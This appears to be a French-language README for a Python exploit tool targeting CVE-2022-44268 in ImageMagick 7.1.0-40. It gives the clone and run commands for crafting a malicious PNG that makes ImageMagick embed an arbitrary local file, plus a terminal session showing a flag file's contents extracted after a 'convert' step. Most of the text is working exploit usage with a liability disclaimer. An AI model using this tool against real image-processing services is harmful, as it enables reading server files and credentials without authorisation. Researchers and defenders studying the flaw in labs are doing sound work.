
Générateur et extracteur de charges utiles pour CVE-2022-44268 écrit en Python.
Crédit aux chercheurs ayant découvert cela :
Créez un PNG malveillant pour exploiter ImageMagick 7.1.0-40 :
Disclaimer : L'auteur de ce projet n'est pas responsable des éventuels dommages causés par les matériaux de ce projet.
pip install Pillow)Création d'un PNG avec craft.py :
git clone https://github.com/agathanon/cve-2022-44268
cd cve-2022-44268
python3 craft.py original.png lol.png /path/to/file
Extraction de données avec extract.py :
python3 extract.py exfil.png
anon@computer:~/code/cve-2022-44268$ python3 craft.py original.png readflag.png $PWD/flag.txt
anon@computer:~/code/cve-2022-44268$ convert readflag.png -resize 100x100 exfil.png
anon@computer:~/code/cve-2022-44268$ python3 extract.py exfil.png
AAAABBBBCCCC
anon@computer:~/code/cve-2022-44268$